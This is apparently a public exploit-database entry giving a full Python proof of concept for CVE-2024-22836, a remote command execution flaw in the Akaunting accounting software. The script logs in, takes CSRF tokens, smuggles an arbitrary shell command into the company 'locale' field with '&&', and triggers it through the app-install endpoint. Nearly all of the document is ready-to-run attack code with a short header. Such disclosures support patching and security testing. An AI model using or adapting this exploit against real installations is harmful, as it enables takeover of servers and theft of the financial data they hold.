Akaunting < 3.1.3 - RCE - CVE-2024-22836

# Exploit Title: Akaunting < 3.1.3 - RCE
# Date: 08/02/2024
# Exploit Author: u32i@proton.me
# Vendor Homepage: https://akaunting.com
# Software Link: https://github.com/akaunting/akaunting
# Version: <= 3.1.3
# Tested on: Ubuntu (22.04)
# CVE : CVE-2024-22836

#!/usr/bin/python3

import sys
import re
import requests
import argparse

def get_company():
    # print("[INF] Retrieving company id...")
    res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)
    if res.status_code != 302:
        print("[ERR] No company id was found!")
        sys.exit(3)
    cid = res.headers['Location'].split('/')[-1]
    if cid == "login":
        print("[ERR] Invalid session cookie!")
        sys.exit(7)
    return cid

def get_tokens(url):
    res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)
    search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text)

    if not search_res:
        print("[ERR] Couldn't get csrf token")
        sys.exit(1)

    data = {}
    data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '')
    data['session'] = res.cookies.get('akaunting_session')
    return data

def inject_command(cmd):
    url = f"{target}/{company_id}/wizard/companies"
    tokens = get_tokens(url)
    headers.update({"X-Csrf-Token": tokens['csrf_token']})
    data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"}
    res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
    if res.status_code == 200:
        res_data = res.json()
        if res_data['error']:
            print("[ERR] Command injection failed!")
            sys.exit(4)
        print("[INF] Command injected!")


def trigger_rce(app, version = "1.0.0"):
    print("[INF] Executing the command...")
    url = f"{target}/{company_id}/apps/install"
    data = {"alias": app, "version": version, "path": f"apps/{app}/download"}
    headers.update({"Content-Type":"application/json"})
    res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
    if res.status_code == 200:
        res_data = res.json()
        if res_data['error']:
            search_res = re.search(r">Exit Code\:.*<", res_data['message'])
            if search_res:
                print("[ERR] Failed to execute the command")
                sys.exit(6)
            print("[ERR] Failed to install the app! no command was executed!")
            sys.exit(5)
        print("[INF] Executed successfully!")

def login(email, password):
    url = f"{target}/auth/login"
    tokens = get_tokens(url)

    cookies.update({
        'akaunting_session': tokens['session']
    })

    data = {
        "_token": tokens['csrf_token'],
        "_method": "POST",
        "email": email,
        "password": password
    }

    req = requests.post(url, headers=headers, cookies=cookies, data=data)
    res = req.json()
    if res['error']:
        print("[ERR] Failed to log in!")
        sys.exit(8)

    print("[INF] Logged in")
    cookies.update({'akaunting_session': req.cookies.get('akaunting_session')})

def main():
    inject_command(args.command)
    trigger_rce(args.alias, args.version)

if __name__=='__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="target url")
    parser.add_argument("--email", help="user login email.")
    parser.add_argument("--password", help="user login password.")
    parser.add_argument("-i", "--id", type=int, help="company id (optional).")
    parser.add_argument("-c", "--command", help="command to execute.")
    parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard")
    parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2")

    args = parser.parse_args()

    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"}
    cookies = {}
    target = args.url

    try:
        login(args.email, args.password)
        company_id = get_company() if not args.id else args.id
        main()
    except:
        sys.exit(0)